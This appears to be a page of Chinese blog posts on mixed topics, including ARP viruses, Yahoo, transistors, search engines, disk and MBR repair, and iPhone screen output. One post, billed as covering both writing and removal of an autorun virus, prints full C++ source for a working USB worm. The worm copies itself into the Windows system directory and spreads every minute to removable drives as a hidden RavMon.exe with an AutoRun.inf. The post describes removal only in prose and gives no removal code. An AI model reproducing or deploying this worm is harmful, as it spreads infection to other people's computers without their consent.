ARP病毒的工作要点的简要理解

今天研究了一下ARP病毒,分析了原因,查看了不少的资料。最终总结的一句话是:数据的传输入最终是由MAC来决定的,而不是靠IP来决定双方通信的。

就是因为,有程序给某一IP地址宣告了一个错误或非学的MAC,所以才导到通信时,信息到达了另一台机器,或无法连接。

什么事ARP病毒?

ARP病毒并不是某一种病毒的名称,而是对利用ARP协议的漏洞进行传播的一类病毒的总称。ARP协议是TCP/IP协议组的一个协议,用于进行把网络地址翻译成物理地址(又称MAC地址)。通常此类攻击的手段有两种:路由欺骗和和网关欺骗。是一种入侵电脑的木马病毒。

对于ARP病毒的解决办法通常采取安装防火墙来解决。比如金山贝壳ARP防火墙等等。由于时间关系我也只能写这些了….

autorun病毒编写及查杀工具程序源码

      记得大一刚过来大学的时候,重视很害怕U盘中毒,所以总是不太赶去打印室,有一次竟然让自己的优盘中毒了,由于但是年少无知,还专门请一位06级的学姐替我杀毒。

      本程序主要涉及autorun病毒的原理,编写和查杀,由于很简单,只供初学同学看看。

Autorun文件中的部分命令

Open
  含义:指定设备启用时运行之命令行。
  格式:Open=命令行    (命令行:程序路径名 [参数])
  参数:
       命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开或使用ShellExecute命令。
  备注:命令行的起始目录是设备根目录和系统的$Path环境变量。

ShellExecute
  含义:指定设备启用时执行文件。(操作系统支持未知)
  格式:ShellExecute=执行文件路径名 [参数]
  参数:执行文件路径名:设备启用时执行文件路径名。可以是任意格式文件。系统会调用设置的程序执行此文件。
  参数:参数,根据执行文件作调整
  备注:命令行的起始目录是设备根目录和系统的$Path环境变量。

Shell关键字Command
  含义:定义设备右键菜单执行命令行。
  格式:Shell关键字Command=命令行(命令行:程序路径名 [参数])
  参数:  

    命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开。
  备注:命令行的起始目录是设备根目录和系统的$Path环境变量。

Shell关键字
  含义:定义设备右键菜单文本。
  格式:Shell关键字=文本
  参数:
  关键字:用以标记菜单,可以使用任何字符表示,包括空格。
  文本:在右键菜单中显示的文本。可以使用任何字符,不能存在空格。

        备注:

  • 在同一Autorun.inf文件中,不同右键菜单关键字不同,相同右键菜单关键字相同。
  • 右键菜单文本中可以使用&设定加速键,&&输出一个&。
  • Shell关键字Command命令Shell关键字两者缺一不可,顺序无所谓。
  • 当不存在Open、ShellExecute与Shell命令时,设备启用时运行第一个设备右键菜单指定命令。

Shell
  含义:定义设备启用时运行之设备右键命令。
  格式:Shell=关键字
  参数:
  关键字:标记过的菜单关键字
  备注:Shell指定的关键字可以在AutoRun.inf文件的任意部分。
             OpenShellExecuteShell命令后定义的优先级高。

Autorun病毒的编写

      具体流程见代码,此外,本病毒仅仅做了些很简单的事情,还可以些注册表等等操作。个人对打印室的电脑的建议,最好都对优盘写保护,autorun病毒就没有那么容易将病毒文件传到u盘中了。

病毒的查杀原理:

      就是先检测u盘的盘符,然后查看是否存在autorun.inf文件,如果有的话,就寻找文件中是否有”open=”这样的字符,如果有的话,就记录下了,并删除”open=”后面的文件。

      此外,本程序仅仅只是对文件中的”open=”后面的文件全路径进行记录并删除文件,实际上还可以查找文件中是否存在前面所提到的部分命令,如果存在,也将其后面的文件删除。

具体的见源码:

// Uinfect.cpp : Defines the entry point for the application.
#include “stdafx.h”
#include “resource.h”

void ResourceToFile(char  *filename,char *Name,char* Type)
{
    //寻找自身进程中的资源
    HRSRC hRes = FindResource(NULL,Name,Type);
    if(hRes==NULL)
        return;
    //导入资源
    HGLOBAL hgRes = LoadResource(NULL, hRes);
    if(hgRes==NULL)
        return;
    //锁定资源
    void *pRes = LockResource(hgRes);
    if(pRes==NULL)
        return;
    //得到资源字节数
    DWORD size = SizeofResource(NULL, hRes);
    if(size==0)
        return;
    //创建文件
    HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, 
                     CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
    if(hFile==INVALID_HANDLE_VALUE)
        return;
    DWORD dwWrite;
    //把资源写入到文件
    if(!WriteFile(hFile, pRes, size, &dwWrite, 0))
        return;
    //关闭文件句柄
    CloseHandle(hFile);
    //释放资源
    GlobalFree(hgRes);
}

BOOL InfectU()
{
    while(true)
    {
        UINT revtype;
        char name[256]=”H:\\” ;
        char szName[256]={0};
        char toPath[256]={0};
        char infPath[256]={0};
        char openU[80]={0};
        //遍历所有盘符
        for(BYTE i=0×42;i<0x5B;i=i+0×01)
        {
            name[0]=i;
            //得到盘符类型
            revtype=GetDriveType(name);
            //判断是否是可移动存储设备
            if (revtype==DRIVE_REMOVABLE)
            {   
                //得到自身文件路径
                GetModuleFileName(NULL,szName,256);
                //比较是否和U盘的盘符相同
                if(strncmp(name,szName,1)==0)
                {
                    //得到系统目录
                    GetSystemDirectory(toPath,256);
                    strcat(toPath,”\\Uinfect.exe”);
                    //把自身文件复制到系统目录
                    if(CopyFile(szName,toPath,TRUE))
                    {
                        //运行程序
                        WinExec(toPath,0);    
                    }
                    strcpy(openU,”explorer “);
                    strcat(openU,name);
                    //打开U盘
                    WinExec(openU,1);
                    return 0;    
                }
                else
                {
                    strcpy(toPath,name);
                    strcat(toPath,”\\RavMon.exe”);
                    strcpy(infPath,name);
                    strcat(infPath,”\\AutoRun.inf”);
                    //还原U盘上的文件属性
                    SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
                    SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
                    //删除原有文件
                    DeleteFile(toPath);
                    DeleteFile(infPath);
                    //释放AutoRun.inf到U盘
                    ResourceToFile(infPath,MAKEINTRESOURCE(ID_DAT),
                               MAKEINTRESOURCE(RC_AUTORUN));
                    //拷贝自身文件到U盘
                    CopyFile(szName,toPath,FALSE);
                    //把这两个文件设置成系统,隐藏属性
                    SetFileAttributes(toPath,
                        FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
                    SetFileAttributes(infPath,
                        FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
                }
            }
        }
        //休眠60秒,60检测一次
        Sleep(60000);
    }
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
    InfectU();
    return 0;
}

作者:华中科技大学腾讯创新俱乐部 易卓 2010-05-02

穆童博客声明:请勿在中国法律所不允许的情况下使用本文任何内容

如若复制、转载请注明原文地址:http://mtoou.info/autorun-bingdu-yuanma/

李开复:雅虎市值为零 穆童:是武断还是果如其实?

      看到前谷歌全球副总裁、谷歌中国总裁,现创想工厂董事长兼CEO李开复在搜狐微博上说:曾经市值1300亿美元的雅虎公司现在除去雅虎日本以及所持有的阿里巴巴股份和现金后市值为零。

      看到这个真是让我一愣,随李开复微博的消息还有:2002年雅虎开出20亿美元收购谷歌的消息,而现在谷歌市值1900亿美元。这然我不甚感叹,真是三十年河东三十年河西啊~互联网这个行业的变化也太快了。就雅虎来说,如果没记错的话我的互联网处身就是献给它了,当时在上学时作业上就出现雅虎邮箱什么的,于是就申请了一个。知道后来05年的时候,雅虎中国被卖给了阿里巴巴,在随后的几年里雅虎就开始在我眼前淡去了。现在我也有使用雅虎的邮箱功能,这个功能真的很不错,所以一直使用到现在。但是它的搜索功能的确很差劲,至少雅虎中国是这样(是因为马云么?呵呵,不得而知)

      雅虎在互联网发展的前期一直是如实的行业老虎,而现在被人估值为零。但事实果真如此么?李开复的话说得有些武断,至少雅虎在美国其市场份额还是很大的。我刚才也查询了一下Alexa(全球网站排名)yahoo.com全球排名第四。排在谷歌、facebook、youtube之后。虽然我不知道李开复的标准是什么,但我觉得有这么大的流量以及这么多年忠实的老用户的支持,雅虎如果成功转型还有翻盘的可能性——至少不会是一文不值。

如若复制、转载,无论部分或是全部都应注明作者及原文地址。
本文作者:穆童博客 原文地址:
http://mtoou.info/yahoo-shizhi-0/

三极管可以将直流电转换为交流电是错误的

今天经网上一高人指点,真是收获不小。一直以来感觉我对三极管认识已经很高了。没有想到还是不行。首先是交流电,我对这个概念没有理解好,误认为三极管可以将直流电转换为交流电。其实不是这样子的,交流电是大小和方向随时间变化的,有一样不符合也不会是交流电。所以三极管基本叠加了交流电和直流电,最终还是直流电。其实三极管集射极放大的也是直流电。要想返交流电,需要加反应电压方可回到交流电。

只能说,三极管在外接电路的作用下完成了直流电转换成交流电。今天收获真大。呵呵…… (作者:GEELY)

如若复制、转载请注明原文地址:http://mtoou.info/sanjiguan-dian/

艘狗拼音输入法——授狗_收狗拼音输入法最新版

搜狗拼音输入法(艘狗拼音输入法/搜购),中国最强大的拼音输入法。自打我当初我吧五笔字根忘记的一干二净后,就开始使用艘狗拼音输入法了。于是一发不可收拾,现在打字完全靠搜狗了。

艘狗拼音输入法有什么特点、好用不好用我就不探讨了,因为其凭借智能识词、多字连接输入、使用习惯分析以及去年加入的云技术更是让我爱不释手,大大提高了输入词组的准确率,让艘狗拼音输入法成功得到了全国绝大多数网名的认可。

不罗嗦了, 相信大家来这里也不是听过罗嗦的,八成是要下载来着~好吧,点下面的链接下载吧。相关搜索:艘狗拼音输入法/搜购拼音输入法/授狗_收狗拼音输入法。

艘狗拼音输入法

艘狗拼音输入法下载地址

看涩谷火车站忠犬八公有感 一生为何?唯有信仰而不枉此行!

最近突然喜欢看一些经典电影。着实让我震撼,尤其是今天看的《忠犬八公》——真实故事。这是发生在涩谷火车站的一个故事。讲述一个教授在在回家的火车站旁捡得一条秋田犬“八公”——名字来自狗身上的项圈。由于怕失主担心已经由于其妻子不喜欢。所以准备让别人养,并试图找到失主。然而,就在这个过程中,教授一家人对这条秋田犬八公产生了感情于是将其留下来。

每天八公和教授一起来到涩谷火车站,教授上车去学校八公就回家。下午八公回来到涩谷火车站前等待教授,如此生活了两年。直到有一天,八公在火车站等了很久都没有等到教授回来——然来教授去世了。于是就这样“傻傻”的等啊等,一直等了近十年。直到死去依然在等待主人。当年此事件传开后感动了许多人,后来人们就给八公建立了一所雕像(下面有图),而且现在成了日本涩谷火车站的一个旅游景点。

忠犬八公》这电影前戏时间很长。本以为没什么,却在快要结束的前10多分钟的时候让我的眼睛成了喷泉。着实惨,鼻涕眼泪哗哗的流。非常感人,非常震撼也让我陷入了深深的沉思。八公选择了等待,有信仰有希望,想看到教授,哪怕是十年知道死去。

这一生为何?唯有信仰而不枉此行!

如若复制、转载请注明原文地址:http://mtoou.info/seguhuochezhan-zhongquanbagong/

搜狗与搜搜两款搜索引擎的对比

      穆童博客由于工作需要每天都在频繁的使用各种搜索引擎进行搜搜任务,当然最常用的是Google其余的是百度、搜狗与搜搜搜索引擎。下面我就已自己的实际使用感受来说说搜狗与搜搜的各自表现。

搜狗搜索引擎

      搜狗是国内老牌搜索引擎了,创建于2004年8月3日,其搜索引擎技术完全靠自主开发,搜狗凭借这一点在我心目中赢得了不少好感,但我也不会感情用事,本着对看官负责的态度该怎么说还是得怎么说。
      依靠自主开发的搜索引擎变现还是不错的。凭借我本人用网站做实验来看,搜狗在将优质资源展现给搜索用户的表现基本与搜搜要优秀一些。然而其对新网站或是比较新的内容搜索时就显得优点迟钝了。或许这是搜狗特殊的排名算法技术的原因。

搜搜搜索引擎

      搜搜这个东西是中国山寨大王马化腾弄得。得益于谷歌的技术让其在对新内容的索引上表现不俗。这一点搜狗还差点。但是质量就要差一些了,分不清好坏。(这是一切山寨的共同特性,如手机,光有外观没有“内容”)。而且从我对网站的实验以站长的角度来看,搜搜的索引技术还有待完善。

还要罗嗦

      总得来说,如果搜搜技术方面或是专业的内容(这些东西一般对质量要求高)实用搜狗也会是一个不错的选择,而如果需要寻找比较新或是比较“山寨”的内容。搜搜会很好的发挥了其骨子里的“特质”在你面前胡乱的秀一下。

      用户说明一切,这两年来马化腾利用“病毒营销模式”近乎疯狂的宣传他的搜搜,但市场份儿还是被一直被虽然创建时间相对长一些但一直保持低调的搜狗甩在后面。

如若复制、转载请注明原文地址:http://mtoou.info/sogou-soso/

硬盘物理坏道的数据恢复方法 用PartitionMagic软件隔离坏道

对于硬盘的物理坏道数据恢复方法一般采用的是隔离法,可以使用PartitionMagic软件将坏道隔离。具体方法如下。

  1. 运行PartitionMagic软件,使用“check”命令找出坏簇在硬盘上的具体位置。
  2. 在“Operation”菜单下选择“Advanced/badSectorRetest”命令把坏簇所在的硬盘分成多个分区。
  3. 隐藏坏簇所在的分区即可。

如果0磁道损坏将使硬盘的主引导程序和分区表信息遭到严重破坏,从而导致硬盘无法引导。可以通过 Pctools工具软件的DE磁盘编辑器将“0”磁道偏转一个扇区,即使用“1”磁道代替“0”磁道进行使用即可,而磁道中的数据可以通过EasyRecovery数据恢复软件进行恢复。另外网友留言提供了PBD(Partition Bad Disk)隔离坏道软件也可以尝试一下。

两种MBR数据恢复的方法Fdisk/MBR与Fixmbr

当MBR 数据损时,可以通过Fdisk/MBR 或者Fixmbr等软件对MBR 数据进行修复。

Fdisk/MBR修复法

用启动盘启动电脑,在命令提示符下输入“Fdisk/mbr”命令,再按”Enter”键即可进行修复。

Fdisk/mbr命令修复 MBR的方法只适用于主引导区记录被引导区型病毒破坏或主引导记录代码丢失,且主分区没有损坏的情况。因为此方法只是覆盖主引导区记录的代码,不能重建主分区表。

启动 DOS并输入“C:” ,按“Enter”键,如果可以读取C盘数据就能用Fdisk/MBR命令恢复MBR,且能保留原有数据;否则不能用Fdisk/MBR命令恢复MBR。

Fixmbr修复法

Fixmbr软件是专门用于重新构造主引导扇区的数据修复软件。该软件只修改主引导区,对其他扇区不进行写入操作。使用Fixmbr软件修复MBR 的方法如下。

  1. 用启动盘启动电脑,直接运行Fixmbr软件
  2. 检查MBR结构,如果发现系统不正常,软件将提示是否进行修复。
  3. 输入“Y”后,开始搜索分区。
  4. 搜索到相应的分区后,软件提示是否修改MBR,输入“Y”后就开始修复。

如果在修复过程中出现死机状况,将 BIOS中的防病毒功能禁止后即可继续修复。如果修复完成后得到的结果不对,可以运行fixmbr/Z将结果清空后重新启动,就可以恢复到原始状态。 

使用Fixmbr命令修复MBR时,如果不指定设备名,就修复启动设备的MBR;如果需要指定设备名,那么指定设备名的格式为:fixmbr\device\harddisk2。 

(本文整理自互联网)

浅谈IPhone4屏幕输出到电脑上看电影或者玩游戏的可能性

iPhone游戏总觉得屏幕太小,想实现iPhone4的屏幕输出到电脑屏幕上,通过USB传输,网上搜索了一下,有个软件能实现到MAC的图像实时传输,但是速度据说太慢,我也没测试,也没条件测试。于是DT得计算了一下这种实现方式的可能性…

iPhone4的屏幕分辨率是960*640,屏幕色彩是1600W色,假如按照65535色输出到电脑上(这个数值已经是最低了,再低就见不得人了),则每个点需要2字节来表示颜色,每帧需要的比特是:

960*640*2*8 = 9830400(bit)

按照实际USB传输文件的速度10MByte/s也就差不多是100Mbps的带宽,计算每秒能传输的帧数为:

100*1000*1000/(960*640*2*8) = 10.172526041667

这还没考虑到IPhone4还得处理屏幕输出的数据所造成的延时。如果是前几代IPhone,分辨率是480*320,所需带宽就减少了4倍,那么理论上每秒传输帧数大约40帧。完全满足一般游戏的运行了~

以上假设均为理想情况下,不考虑IPhone的CPU开销和带宽阻塞,也没考虑数据压缩。至于实际情况,可以下载个IDemo软件试试,当然你也可以用自己的IPhone4亲自测试一下效果。作者:神月如若复制、转载请注明原文地址:http://mtoou.info/iphone4-pingmuchuanshu/